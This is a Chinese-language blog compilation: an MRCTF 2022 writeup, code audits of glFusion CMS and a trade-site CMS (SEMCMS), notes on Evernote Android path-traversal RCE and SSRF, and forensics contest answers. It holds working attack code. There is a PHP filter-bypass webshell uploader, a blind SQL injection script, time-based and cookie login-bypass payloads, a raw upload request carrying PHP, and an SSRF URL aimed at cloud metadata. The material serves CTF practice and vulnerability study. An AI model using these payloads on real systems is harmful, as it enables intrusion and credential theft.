2022 MRCTF parly Writeup

Bonus

Just Hacking

Metasploit打Redis

Y4T4A7IABGR186T.png

使用exploit/linux/redis/redis_replication_cmd_exec这个模块,我尝试了好几次,前几次一直没打通

APGPAN1P78UJQ9RDR6.png

打通以后,找docker信息

DNALCE4QEOA_868Z98B.png

base64解密一下,就解出来用户名密码

mrctfbooker:WZ8npSK4T

dockerhub直接登录,可以找到alpine私有镜像

image.png

直接pull下来然后运行

1SEBEXRK_M_88YAJK4G.png

MISC

checkin

image.png

ctrl+s保存下来源码,在里面直接就能搜到逻辑,简单分析一下

 if (stats.bestStreak === 100) {
      alert("TVJDVEZ7VzNsYzBtZV9UMF9tcjN0Zl8yMDIyX1FXUX0=");

base64解密一下就可

MRCTF{W3lc0me_T0_mr3tf_2022_QWQ}

Pixel

import numpy as np
import matplotlib.pyplot
from skimage.io import imread, imshow
import time
import math
import cv2

def arnold_decode(image, shuffle_times, a, b):
    decode_image = np.zeros(shape=image.shape)
    h, w = image.shape[0], image.shape[1]
    N = h # 或N=w
    for time in range(shuffle_times):
        for ori_x in range(h):
            for ori_y in range(w):
                new_x = ((a*b+1)*ori_x + (-b)* ori_y)% N
                new_y = ((-a)*ori_x + ori_y) % N
                decode_image[new_x, new_y] = image[ori_x, ori_y]
    cv2.imshow("image",decode_image)
    cv2.waitKey(1000)
    cv2.imwrite('2.png',decode_image)
    return decode_image
aaa = imread('flag.png')
arnold_decode(aaa, 10, 22,20)

WEB

Webcheckin

让传php文件,但是对php文件内容有过滤,所以我们绕过一下,我用的异或字符,下面是字典脚本

<?php

$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
    for ($j=0; $j <256 ; $j++) { 

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[0-9a-z]/i';    // 根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
    }

        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)|urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
            $contents=$contents.$c." ".$a." ".$b."\n";
        }
    }

}
}
fwrite($myfile,$contents);
fclose($myfile);

这个是利用脚本

# -*- coding: utf-8 -*-
import urllib.parse
import requests

def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("or_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)

param=action("system")+action('ls /var/log')+";"
data = "<?php " + urllib.parse.unquote(param)

files = {'file': ('shell.php', data, 'application/octet-stream')}
res = requests.post(url="http://webshell.node3.mrctf.fun/", files=files)
res2 = requests.get(url="http://webshell.node3.mrctf.fun/"+res.text)
print(res2.text)

打通5分钟,找flag一上午。。。

var/log目录下

image.png

cat dpkg.log

image.png

glFusion CMS V1.7.9 代码审计

三条CNVD记录

  • glFusion CMS v1.7.9存在任意用户注册漏洞,攻击者可利用该漏洞使用任何用户的邮箱进行注册。
  • glFusion CMS v1.7.9存在授权问题漏洞,攻击者可利用该漏洞通过/public_html/users.php进行攻击。
  • glFusion CMS v1.7.9存在访问控制错误漏洞,攻击者可利用该漏洞通过/public_html/comment.php进行攻击。

CMS

特点

  1. 支持很多类型
  2. 扩展性强,已安装几个插件
  3. 安全:最近,HP Fortify 执行了完整的源代码/Web 应用程序审计
  4. 开发人员友好:glFusion 有一个文档齐全的API,允许您通过现有的钩子和 API 开发插件、自动标记和其他自定义

目录结构

  • private

    • backups
    • data
    • language
    • lib
    • logs
    • plugins
    • sql
    • system
    • vendor
    • composer.json.PHPCLASSES
    • db-config.php.dist
    • emailglfusionstories
  • public_html

    • admin

    • backend

    • bad_behavior2

    • calendar

    • captcha

    • ckeditor

    • docs

    • filemgmt

    • filemgmt_data

    • forum

    • help

    • images

    • javascript

    • layout

    • links

    • mediagallery

    • polls

    • staticpages

    • 404.php

    • article.php

    • comment.php

    • css.php

  • LICENSE
  • VERSION

/admin/index.php

登录访问/admin/index.php,Xdebug监听访问请求进行调试。

auth.inc.php

先不看 lib-common.php ,先看看认证文件 auth.inc.php 。

require_once '../lib-common.php';
require_once 'auth.inc.php';

F7进入 auth.inc.php
检查常量GVERSION,判断该文件能否独立被访问。
调用函数 USES_lib_user(); 进行权限认证。
F7进入USES_lib_user();,跳转到lib-common.php

function USES_lib_user() {
global $_CONF;
require_once $_CONF['path_system'] . 'lib-user.php';
}

F7 进入 lib-user.php ,先看这个文件的用户鉴权。

用户鉴权 lib-user.php

// 1.删除用户账号
function USER_deleteAccount($uid){}
// 2.创建一个新密码并发送邮件给用户?
function USER_createAndSendPassword($username, $useremail, $uid, $passwd = ''){}
// 3.为用户创建uid
function USER_createActivationToken($uid,$username){}
// 4.发送邮件通知用户已激活
function USER_sendActivationEmail ($username, $useremail){}
// 5.创建一个新的用户账号
function USER_createAccount ($username, $email, $passwd = '', $fullname = '',$homepage = '', $remoteusername = '', $service = '', $ignore = 0)
// 6.用户注册时发送邮件
function USER_sendNotification ($username, $email, $uid, $mode='inactive')
// 7.获取用户上传或外部引用的照片
function USER_getPhoto ($uid = 0, $photo = '', $email = '', $width = 0, $fullURL
= 1)
// 8.删除用户照片
function USER_deletePhoto ($photo, $abortonerror = true)
// 9.把用户添加到用户组
function USER_addGroup ($groupid, $uid = '')
// 10.从用户组中删除用户
function USER_delGroup ($groupid, $uid = '')
// 11.检查邮箱地址
function USER_emailMatches ($email, $domain_list)
// 12.确保用户名不重复
function USER_uniqueUsername($username)
// 13.检查用户名中是否包含无效字符
function USER_validateUsername($username, $existing_user = 0)
// 14.去除name中不允许的字符
function USER_sanitizeName($text)
// 15.获取子用户组
function USER_getChildGroups($groupid)
// 16.生成一个密码
function USER_createPassword ($length = 7)
// 17.建立用户有权限访问的topic的清单
function USER_buildTopicList ()
// 18.xxx
function USER_mergeAccountScreen( $remoteUID, $localUID, $msg='' )
// 19.Un-Merge User Accounts
function USER_unmergeAccounts()
// 20.Merge User Accounts
function USER_mergeAccounts()
uid(先看uid再说用户权限模型)

276行是生成token的代码。token通过加密,且加密方式是哈希、加密内容包含随机数。token的作用是cookie。

uid是什么时候生成的?应该是用户注册时。查看注册功能点,位于文件/user.php?mode=new

function USER_createActivationToken($uid,$username)
{
global $_CONF, $_TABLES;
$token = md5($uid.$username.uniqid (mt_rand (), 1));
DB_query("UPDATE {$_TABLES['users']} SET
act_token='".DB_escapeString($token)."', act_time=NOW() WHERE uid=".$uid);
return $token;
}

filemgmt插件文件上传

上传点URL:http://127.0.0.1/glfusion-1.7.9/public_html/admin/plugins/filemgmt/index.php?lid=1&op=modDownload

查看 /admin/plugins/filemgmt/index.php 文件(该部分分析的主要文件),全文搜索 jpeg 。

不太容易找到关键代码,开Xdebug进行调试。

定位执行函数
// 34行,通用配置和鉴权代码
require_once '../../../lib-common.php';
require_once '../../auth.inc.php';
USES_lib_admin();
。。。
// 118行,创建了三个类,插件配置代码
// 第三个是错误处理类,用于处理异常情况
// 第二个使用 __construct()初始化赋值了数据库的数据库名、表名、id名、pid名
$myts = new MyTextSanitizer;
$mytree = new XoopsTree($_DB_name,$_TABLES['filemgmt_cat'],"cid","pid");
$eh = new ErrorHandler;

接收参数之后,使用 SEC_hasRights() 函数进行校验,因为不走该流程所以暂时忽略。

// 44行,对参数使用过滤器后赋值
$op = isset($_REQUEST['op']) ? COM_applyFilter($_REQUEST['op']) : '';

文件有效执行:switch语句选择 option

从一百多行开始,一直都是定义的 function() 代码,直到1493行,对操作参数使用 switch 语句。

这些操作参数,就是该插件的操作。

文件上传操作,传递的操作参数是 op=modDownloadS ,接下来跟进该函数。

switch ($op) {
default:
mydownloads();
break;
case "comment":
filemgmt_comments($firstcomment);
break;
case "delNewDownload":
delNewDownload();
break;
case "addCat":
addCat();
break;
case "addSubCat":
addSubCat();
break;
case "addDownload":
addDownload();
break;
case "listBrokenDownloads":
listBrokenDownloads();
break;
case "delBrokenDownloads":
delBrokenDownloads();
break;
case "ignoreBrokenDownloads":
ignoreBrokenDownloads();
break;
case "approve":
approve();
break;
case "delVote":
delVote();
modDownload();
break;
case "delCat":
delCat();
break;
case "modCat":
modCat();
break;
case "modCatS":
modCatS();
break;
case "modDownload":
modDownload();
break;
case "modDownloadS":
modDownloadS();
break;
case "delDownload":
delDownload();
break;
case "categoryConfigAdmin":
categoryConfigAdmin();
break;
case "newfileConfigAdmin":
newfileConfigAdmin();
break;
case "listNewDownloads":
listNewDownloads();
break;

操作函数 modDownloads()

F7进入函数,跳转到该文件 744 行,下断点。
该函数末尾代码是 exit() ,说明该函数是最后执行的函数,代码数 130+ 。接下来分析该操作。

上传操作函数 modDownloads()

文件744行开始,该函数代码有130行,首先对不关键的代码进行文字说明,着重分析关键代码。

该函数有两段上传处理代码,第一段在 761-816 行,处理上传文件变量 $newfile

第二段是 817-881行,处理上传文件变量 newsnapfile

两段上传代码都使用 /private/system/classes/upload.class.php 的 upload 类。

function modDownloadS() {
// 对传递参数使用 COM_applyFilter()函数处理后进行赋值
加载全局变量
开启demo_mode则退出程序
// 参数接收
接收参数cid
url参数:如果原图片文件存在,则对url代表的原文件执行操作
过滤后接收参数silentedit
过滤后接收参数owner_id
lid参数:*
// 获取文件
获取文件名:使用 MyTextSanitizer->makeTboxData4Save()处理新文件的文件名
// 创建上传类的实例,对上传文件进行处理。765-810行代码
$upload->setFieldName('newfile');
$upload->setPath($filemgmt_FileStore);
$upload->setAllowAnyMimeType(true); // allow any file type
$upload->setMaxFileSize(100000000);
$upload->setMaxDimensions(8192,8192);
$upload->uploadFiles();

系统内置上传类 /private/system/classes/upload.class.php

upload类代码后,上传的文件是 phpinfo.php。

image.png

index.php,784行,又一层校验,把后缀php修改成phps.

$pos = strrpos($newfile,'.') + 1;
$fileExtension = strtolower(substr($newfile, $pos));

795行,复制 phpinfo.php 生成 phpinfo.phps。

801行,删除 phpinfo.php,此时文件夹只剩下 phpinfo.phps 文件,文件上传漏洞。

filemgmt\index.php操作数

默认情况:mydownloads()

switch语句如下:

default:
mydownloads();
break;

检索mydownloads,定位到函数位置122行。接下来走一下代码流程。

function mydownloads() {
//全局变量
//接收目录参数并过滤
//设置展示参数
// 从数据库查询目录列表,是写死的语句
$sql = "SELECT * FROM {$_TABLES['filemgmt_cat']} WHERE pid=0 ORDER BY title
ASC";
展示各个目录
}
第三种情况:delNewDownload()

检索 delNewDownload(,定位到964行。接下来走一下代码流程。

function delNewDownload() {
定义全局变量
// 接收lid参数并过滤处理
$lid = (int) COM_applyFilter($_POST['lid'],true);
// 传入表名、变量名、变量值。如果函数执行结果,弱比较等于1
if (DB_count($_TABLES['filemgmt_filedetail'],'lid',$lid) == 1) {
// 设置临时名、临时文件名、临时主机名。可能存在SQL注入,查看函数DB_getItem()
$tmpnames =
explode(";",DB_getItem($_TABLES['filemgmt_filedetail'],'platform',"lid=$lid"));
// delete语句,大概率存在SQL注入。
// 看两个函数,过滤函数COM_applyFilter(),查询函数DB_query()
DB_query("DELETE FROM {$_TABLES['filemgmt_filedetail']} WHERE
lid=$lid");
DB_query("DELETE FROM {$_TABLES['filemgmt_filedesc']} WHERE lid=$lid");
//如果临时文件名不为空、文件存在、非目录,则删除filemgmt_filedetail表格记录的文件。
//(任意文件删除应该无了)
//重定向index.php?op=listNewDownloads
//退出程序
}
情况:approve()

switch语句如下:

case "approve":
approve();
break;

检索 approve(,定位到1357行。接下来走一下代码流程。

function approve(){
//定义全局变量
//接收lib参数并做过滤处理
//接收参数title、cid、homepage、version、description
//接收size参数并做过滤处理
// 如果指定URL,则调用 $myts->makeTboxData4Save()函数,再使用rawurlencode()函数处理
// 看一个类、两个函数
if (($_POST['url']) || ($_POST['url'] != '')) {
$name = $myts->makeTboxData4Save($_POST['url']);
$url = rawurlencode($name);
}
//对POST参数做相似处理:logourl
// 看SQL语句,妥妥的SQL注入
// 看函数DB_query()
$result = DB_query("SELECT COUNT(*) FROM {$_TABLES['filemgmt_filedetail']}
WHERE url='$url' and status=1");
list($numrows) = DB_fetchArray($result);
//如果filemgmt_filedetail表存在该URL记录,则报错1108
//对参数纷纷使用$myts->makeTboxData4Save()函数进行保存
// 根据lid查询filemgmt_filedetail表,处理文件可能已经存在的情况
$tmpnames =
explode(";",DB_getItem($_TABLES['filemgmt_filedetail'],'platform',"lid='$lid'"))
;
//如果文件已存在且不是目录,则执行 @rename() 和 @chmod() 函数。

某最新版商贸系统的代码审计

前言

起源于社团大佬发出的一张图片,最近没事就练一下代码审计吧。。。然后电脑坏了,借了一台win11的,凑合着用吧。

SQL注入

这个CMS的SQL注入挺多的,我就写一下前台利用吧。

第一处

我们直接看一下他写的waf

<?php
include_once "class.phpmailer.php"; 
// 防sql注入

if (isset($_GET)){$GetArray=$_GET;}else{$GetArray='';} //get

foreach ($GetArray as $value){ //get

    verify_str($value);

}

function inject_check_sql($sql_str) {

     return preg_match('/select|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i',$sql_str); 
} 

function verify_str($str) { 

   if(inject_check_sql($str)) {

       exit('Sorry,You do this is wrong! (.-.)');
    } 

    return $str; 
} 

逻辑比较简单,利用正则,所有通过 GET 传参得到的参数经过verify_str函数调用 inject_check_sql 函数进行参数检查过滤,如果匹配黑名单,就退出。

  1. 子查询语句被禁用了
  2. 不能有单引号(当SQL的变量包被单引号括起来时不能用单引号闭合)
  3. 没有办法绕过空格

但是这个地方很明显黑名单过滤不严格,而且没有对POST方法进行限制,这样的话我们直接找利用POST方法传参的地方进行构造。

image.png

if (isset($_POST["languageID"])){$Language=test_input(verify_str($_POST["languageID"]));}else{$Language=verify_str($Language);}

但是又有test_input函数进行限制。

function test_input($data) { 
      $data = str_replace("%", "percent", $data);
      $data = trim($data);
      $data = stripslashes($data);
      $data = htmlspecialchars($data,ENT_QUOTES);
      return $data;

   }

具体实现四个功能

  1. 将%替换为percent
  2. trim() 函数移除字符串两侧的空白字符或其他预定义字符,比如/t(制表符),/n(换行),/xb(垂直制表符),/r(回车),(空格)。 功能除去字符串开头和末尾的空格或其他字符。 函数执行成功时返回删除了string字符串首部和尾部空格的字符串,发生错误时返回空字符串("")。 如果任何参数的值为NULL,Trim() 函数返回NULL
  3. stripslashes()删除反斜杠(不能使用反斜杠转义SQL语句中的单引号或双引号)
  4. html转义

明确了这些,剩下的就比较简单了,在任意包含web_inc.php的页面在languageID处构造sql注入语句,以POST方式进行传参,就可以实现。

ascii substr等函数以及大于号小于号并没有被过滤,我们可以盲注测试一下(构建CMS的时候已经知悉数据库名字了,我们直接从相对应ascii进行测试)

ID = 10 and ascii(substr((database()),1,1))>110

或者是

languageID = 2 and ascii(substr(database(),1,1))^109

附一份脚本:

import requests

url = "http://localhost"
database=""

for i in range(1,6):
    for j in range(97,127):
        payload = "1 and ascii(substr(database(),{i},1))^{j}".format(j=j,i=i)

        data = {"languageID":payload}
        #print(payload)
        c=requests.post(url=url,data=data).text
        if "Empty!" in c:
            database+=chr(j)
print(database)

第二处

$web_urls=$_SERVER["REQUEST_URI"];  //获取 url 路径
$web_urls=explode("/", $web_urls);
$urlml=web_language_ml(@$web_urls[1],@$web_urls[2],$db_conn);  // 大写的问号。

跟进web_language_ml方法:

function web_language_ml($web_urls1,$web_urls2,$db_conn){

  $query=$db_conn->query("select * from sc_language where language_url='$web_urls1' or  language_url='$web_urls2' and  language_open=1");

      if (mysqli_num_rows($query)>0){

          $query=$db_conn->query("select * from sc_language where language_url='$web_urls1' or  language_url='$web_urls2' and  language_open=1");
          $row=mysqli_fetch_assoc($query);
          $Urlink=array('url_link'=>$row['language_url'],'url_ml'=>"../",'ID'=>$row['ID']);

      }else{

         $query=$db_conn->query("select * from sc_language where language_mulu=1 and  language_open=1");
         $row=mysqli_fetch_assoc($query);
         $Urlink=array('url_link'=>"",'url_ml'=>"./",'ID'=>$row['ID']);

      }

    return $Urlink; 
}

可以看到$web_urls会被放入数据库语句执行,由于$web_urls获取没有经过过滤函数,所以可以确定存在SQL注入。
但是某些特殊字符在GET传参时,被url编码了,比如双引号,大于号小于号,不过这个地方单引号没有被过滤,可以闭合;而且空格也会被处理,%0a%ob也会被认为字符串,/**/的方法也不行。

我们可以尝试这样构造:

/index.php/'or(sleep(3))or' 

完整SQL语句:

/index.php/1’or+if(substr((select+min(table_name)from(information_schema.tables)where+table_schema=(database())&&table_name!=’sc_banner’),1,1)>’a’,sleep(15),1)#

SQL注入绕过登录

function checkuser($db_conn){ //判断用户是否登陆

    $cookieuseradmin=@verify_str(test_input($_COOKIE["scuseradmin"]));
    $cookieuserpass=@verify_str(test_input($_COOKIE["scuserpass"]));

    $query=$db_conn->query("select * from sc_user where user_admin='$cookieuseradmin' and user_ps='$cookieuserpass'");

    if (mysqli_num_rows($query)>0){

         $row=mysqli_fetch_assoc($query);
         return $row['user_qx'];

     }else{

        echo "<script language='javascript'>alert('账号密码不正确重新登陆!');top.location.href='index.html';</script>";
        exit; 
    }

}

获取Cookie中的用户名密码构成sql语句,以单引号格式进行拼接,我们可以恶意构造

select * from sc_user where user_admin='111\' and user_ps='or 1#'

此时,原语句中的SQL单引号被转义,同时编辑cookiescuseradminscuserpass的值

后台文件上传+Getshell

制作一份php内容的图片

image.png

在后台管理页面添加此照片image.png

BurpSuite拦截进行修改

POST /SEMCMS3.9/OSWttq_Admin/SEMCMS_Upfile.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------3369516516527364944820946580
Content-Length: 830
Origin: http://localhost
Connection: close
Referer: http://localhost/SEMCMS3.9/OSWttq_Admin/SEMCMS_Upload.php?Imageurl=../Images/prdoucts/&filed=images_url&filedname=forms
Cookie: scusername=%E6%80%BB%E8%B4%A6%E5%8F%B7; scuseradmin=Admin; scuserpass=c4ca4238a0b923820dcc509a6f75849b
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------3369516516527364944820946580
Content-Disposition: form-data; name="wname"

111
-----------------------------3369516516527364944820946580
Content-Disposition: form-data; name="file"; filename="test.jpg"
Content-Type: image/jpeg

<?php phpinfo();?>
-----------------------------3369516516527364944820946580
Content-Disposition: form-data; name="imageurl"

../Images/prdoucts/
-----------------------------3369516516527364944820946580
Content-Disposition: form-data; name="filed"

images_url
-----------------------------3369516516527364944820946580
Content-Disposition: form-data; name="filedname"

forms
-----------------------------3369516516527364944820946580
Content-Disposition: form-data; name="submit"

Submit
-----------------------------3369516516527364944820946580--

在我们重命名的时候修改重命名文件为111.jpg.php:进行保存,这是我们看后台保存图片已经写入,但是没有数据。

第二次提交,提交同样的图片,这一次我们修改上传文件名为test.jpg<<<

接着访问,成功实现

image.png

首先是为什么能成功解析成php文件?

      if (test_input($_POST["wname"])!==""){//自定义文件名

        $newname=test_input($_POST["wname"]).".".end($uptype); //新的文件名 

我觉得这个地方能够上传成功与文件名命名格式有关,众所周知,英文状态下冒号是不允许存在的,应该是这个地方产生了截断,导致后面的.jpg没有被拼接上。

但是我不太明白一个地方就是怎么将php写入的,于是全局搜索file_put_contents,只有3处使用,相对比较可疑的是:

function Mbapp($mb,$lujin,$mblujin,$dirpaths,$htmlopen){

       if ($htmlopen==1){$ml="j";}else{$ml="d";}

        $template="index.php,hta/".$ml."/.htaccess"; //开始应用模版
        $template_mb=explode(",",$template);//以,分割为数组

        for($i=0;$i<count($template_mb);$i++){

              $template_o = file_get_contents($mblujin.'Templete/'.$mb.'/Include/'.$template_mb[$i]);

              $templateUrl = $lujin.str_replace("hta/".$ml."/","", $template_mb[$i]);
              $output = str_replace('<{Template}>', $mb, $template_o);
              $output = str_replace('<{dirpaths}>', $dirpaths, $output);

          file_put_contents($templateUrl, $output);

           }

}

这个地方的$mb是可控的

image.png

这里file_get_contents()str_replace() 就是从模板目录下提取index.php和.htaccess文件然后替换<{Template}>写入到主目录下

理论上这个地方也可以Getshell,但这个地方我还是不太明白到底test.jpg<<<是如何写入的,希望有大佬能教教我~

四月份的第一篇技术文章

印某笔记的两个漏洞

RCE(安卓端的)

影响版本:

安卓app小于10.24通杀

简单描述:

在印象笔记,我们可以添加附件,并且可以选择重命名添加的附件。

但是有一个地方,那就是我发现附件重命名时特殊字符不受限制,例如test.so 可以将使用名称上传的文件重命名为../../../lib-1/test.so,下载附件时使用文件名下载../../../lib-1/test.so。应用程序也不会清理接收到的文件名,因此当用户单击附件时,附件不会下载到/data/data/com.evernote/cache/preview/:UUID/,而是下载我们搭载恶意载荷的/data/data/com.evernote/lib-1/test.so

这个地方我想了下,还是脱敏吧,但是我可以发.so文件,可以取用。
  1. 将本机库 poc 文件添加到注释。并重命名为我上面提到的那种格式
  2. 让目标去点我们的恶意文件
  3. 然后复制内部链接,再复制网页链接或复制应用程序链接(这是 android 深层链接,可以从网站触发)安卓内部链接,然后进行分享。
  4. 只要目标点击我们分享的附件,然后关闭应用后,重新进入印象笔记。利用adb shell我们就可以实现rce

image.png

SSRF

这个SSRF已经修复了。。。但是我稍微提一下吧。

灵感来自于这篇文章:https://blog.csdn.net/weixin_36322454/article/details/112652003

其实和印象笔记的编码格式有关,是base64,解密一下就能显示出原文, ZmlsZTovLy92YXIvd3d3L2h0bW1sLyMuanM=

解出来以后,会发现有一个#进行截断,这个地方之所以使用#是因为 url 的结尾必须在 javascript 中,但要在 uri 之中注释掉,然后我们用file://进行获取本地文件

读取AWS EC2元数据

为了对url参数进行相应的修改,需要查看当前运行实例中所有类别的实例元数据,

若想SSRF,可以试一下下这个,不过被修好了。。。https://www.evernote.com/ro/aHR0cDovLzE2OS4yNTQuMTY5LjI1NC8jLmpz/-1430533899.js

这样,我们就能读取秘密访问密钥、令牌等机密信息了。之后,将这些信息导出后,就可以通过亚马逊云的客户端访问……这个,你们懂的。

简单来说,利用这里的安全权限,我们就可以通过SSRF漏洞实现RCE了。

第七届中国电子数据取证大赛 | 团体赛

  1. [填空题] 工地职员 A 计算机的修复密钥标识符是什么?(请以大写英文及阿拉伯数字输
    入答案,不要输入”-“) (1 分)

    打开取证大师,找到 bitlocker 解密选项,对该分区解密的位置自动跳出恢复
    密钥标记

    image.png

    image.png

  2. [填空题] 工地职员 A 计算机的修复密钥解除锁定是什么?(请以数字输入答案,不要输
    入”-“) (1 分)

    搜索 bitlocker,找到和密钥标识符一样的密钥快捷方式。跳转到该文件,并导出查看属性,但是并没有找到解密路径,怀疑密钥文件在别的镜像里,想到个人赛镜像的 bitlocker
    密钥就是在 FTP 服务器中找到的。再次搜索 bitlocker,找到密钥文件。

    image.png

    image.png

  3. [单选题] 工地职员 A 的计算机被什么程式加密? (1 分)
    A. Ransomware
    B. BitLocker
    C. AxCrypt
    D. PGP
    E. FileVault 2

    前面问到了,B

  4. [单选题] 工地职员 A 的孩子有可能正准备就读什么学校? (2 分)
    A. 小学
    B. 中学
    C. 幼儿园
    D. 大学

    image.png看浏览器浏览记录发现搜索幼儿园的记录,应该就是在上幼儿园。

  5. [多选题] 工地职员 A 并没有打开过哪一个档案? (2 分)
    A. Staff3.xlsx
    B. Staff4.xlsx
    C. Staff1.xlsx
    D. Staff2.xlsx
    E. BTC address.bmp

    image.png

  6. [填空题] 工地职员 A 的计算机被远程控制了多少分钟?(请以阿拉伯数字回答) (2 分)

    image.png

    算一下11min16s

  7. [单选题] 工地职员 A 的计算机被加密后,被要求存入的虚疑货币是什么? (1 分)
    A. 比特币现金
    B. 比特币
    C. 以太币
    D. 泰达币

    image.png

  8. image.png

  9. [填空题] 在工地职员 A 的计算机曾经打开过的 Excel 档案中,有多少人有可能在法律部
    门工作?(请以阿拉伯数字回答) (1 分)

    在staff1.xlsx

    image.png

  10. [多选题] 工地职员 B 的计算机在什么日期和时间被黑客控制? (2 分)
    A. 2021-10-19
    B. 2021-09-16
    C. 11:16:41 (UTC +8:00)
    D. 05:55:50 (UTC +8:00)
    E. 18:40:06 (UTC +8:00)

    看题,日期的话有两个,对比两个日期结果在windows历史活动日志里面最早是10-05,所以更大的可能是10-19,在10-19只有一个记录,是11:26,与11:16最接近,可能是有错吧。

    image.png

  11. [填空题] 工地职员 B 的计算机的MAC Address 是什么? (请以大写英文及数字输入答
    案) (1 分)

    image.png

  12. [填空题] 工地职员 B 的计算机用户 FaFa 的 Profile ID 是什么?(请以大写英文及数
    字输入答案,不要输入”-“) (1 分)

    image.png

    应该就是这个地方的SID

  13. [填空题] 工地职员 B 的办公室计算机的 Windows CD Key 是什么?(请以大写英文
    及数字输入答案,不要输入”-“) (1 分)

    方法二:计算机仿真进去后,使用 ProduKey 工具,对其进行自动化获取

    image.png

  14. [单选题] 检查过工地职员 B 的计算机登录档后(Window Registry),计算机感染了什
    么恶意软件? (2 分)
    A. Adware
    B. Worms
    C. Rootkits
    D. 没有感染任何恶意软件

    仿真起来后,把杀毒软件装上,全盘扫一下,没有恶意软件。

  15. [单选题] 工地职员 B 的计算机中被加密硬盘内的图片”_120778782_58759559.jpg”,
    有可能是从下列哪个的途径载入计算机? (1 分)

    网上下载

    image.png

  16. [多选题] 工地职员 B 的计算机 中被加密硬盘内的图片中,人物中衣着有什么颜色?
    (2 分)

    image.png

    image.png

    直接访问看看

    image.png

  17. [填空题] 工地职员 B 的计算机有多少个磁盘分区?(请以阿拉伯数字输入答案) (1 分)

    image.pngimage.png

  18. [填空题] 工地职员 B 的计算机硬盘分割表是什么?(答案请以首字母大写作答) (2 分)

    image.png

  19. [填空题] 在 工地职员 B 的计算机 Event Log 中最后登入时 services.exe 的 Process
    ID 是什么?(请以阿拉伯数字输入) (3 分)

    工地职工 B 最后登入时,查看这个时间点是 2021 年 10 月 19 日 11:26:07,找这
    个时间点附近的日志。讲事件
    使用取证大师搜索 services.exe 找到其日志,导出来分析一下,取证大师自动解析的我个
    人觉得不是很好看。导出后发现在晚于这个时间点,也有登录日志,用日期来排序,找到
    最后一个登录的日志。找到登录时间节点在 18:39:58 是最后一次登录,从日志分析出
    services.exe 的 pid 号是 16 进制的 0x27c,用计算器转成 10 进制为 636。

    image.png

    image.png

    image.png

  20. [填空题] 甚么 IP 曾经上传档案到网页服务器? (请以阿拉伯数字回答,不用输入”.“) (2
    分)

    image.png

    image.png

    不得不说,取证大师的优点就是比火眼在文件处理与磁盘分区上更清晰一点

  21. [多选题] 承上题,以下哪试档案曾被上传到网页服务器? (3 分)

    image.png

    image.png

  22. [单选题] 入侵者可能使用甚么漏洞进行入侵网页服务器? (1 分)
    A. 文件上传漏洞
    B. SQL 注入
    C. 跨站脚本攻击
    D. 格式化字符串弱点
    送分题目,根据前两道题得出,是渗透知识常识题。

  23. [多选题] 在网页服务器找到的所有文件档(doc 及 docx)中,有以下哪些文件制作人
    (Author)? (2 分)
    A. Kevin L. Brown
    B. Peter R. Lee
    C. Mary
    D. May
    E. Colin

    image.png

  24. [多选题] 在网页服务器中,哪个是可疑档案?它如何取得计算机控制权? (3 分)
    A. 可疑档案: b6778k-9.0.php
    B. 可疑档案: b374k-2.5.php
    C. 可疑档案: upload.php
    D. 透过浏览器远程管理取得计算机控制权
    E. 透过 PuTTY(远程登录工具) 取得计算机控制权

    B374k 是个很有名的大马,看看源代码也能看出来,大马是有 web 端的操作界面,搭一
    下环境,看看大马界面,所以应该是透过浏览器远程管理取得计算机控制权。

  25. [填空题] 在网页服务器中,运行可疑档案需要密码,其密码的哈希值(Hash Value)是
    甚么? (请以英文全大写及阿拉伯数字回答) (3 分)

    image.png

  26. [单选题] 在网页服务器中,可疑档案的译码函数是甚么? (2 分)

    image.png

    C. gzinflate(base64_decode($x))

  27. [填空题] 解压后的脚本档的档案大小是多少? (请以字节及阿拉伯数字回答) (3 分)

     

    image.png

  28. [多选题] 解压后的脚本文件内有甚么功能? (3 分)
    A. 编辑文件
    B. 删除文件
    C. 更改用户密码
    D. 加密文件
    E. 重新命名文件

    image.png

  29. [单选题] 解压后的脚本含有压缩功能,当中使用的解压方法是甚么? (2 分)

    image.png

  30. [多选题] 特普的电话中一张于 2021 年09 月 30 日 10:45:12 拍摄的相片包含以下哪些
    字? (1 分)

    image.png

    扫一下就有

  31. [多选题] 特普的电话中的 whatsapp 账号 85268421495@s.whatsapp.net 中,有哪些其他人的 WhatsApp 用户数据记录? ) (2 分)

  32. [单选题] 特普电话的热点分享密码是什么? (1 分)

    image.png

  33. [多选题] 特普于经纬度 22.278843, 114.165783,没有做什么? (2 分)

    A. 拍影片
    B. 拍照
    C. 使用 google map
    D. 在 Whatsapp 中分享实时位置
    在这个位置,他只进行了拍照,所以选择 ACD。

    image.png

  34. [多选题] 特普于电话中安装了一个可疑软件(版本为 2020033001),跟据该可疑软件的
    安装档,下列哪项描述正确? (2 分)

    A. 软件名称是安全防护
    B. 软件名称是安心回家
    C. 软件签名(signAlgorithm)以 SHA512withRSA 加密
    D. 封包名称(packageName)是 org.chromium.webapk.a5b80edf82b436506_v2

    image.png

    image.png

    image.png

  35. [多选题] 特普于电话中安装了一个可疑软件(版本为 2020033001),跟据该可疑软件的
    安装档,可疑软件中涉及以下安全许可? (2 分)

    A. android.permission.READ_SMS 读取短信内容
    B. android.permission.SEND_SMS 发送短信
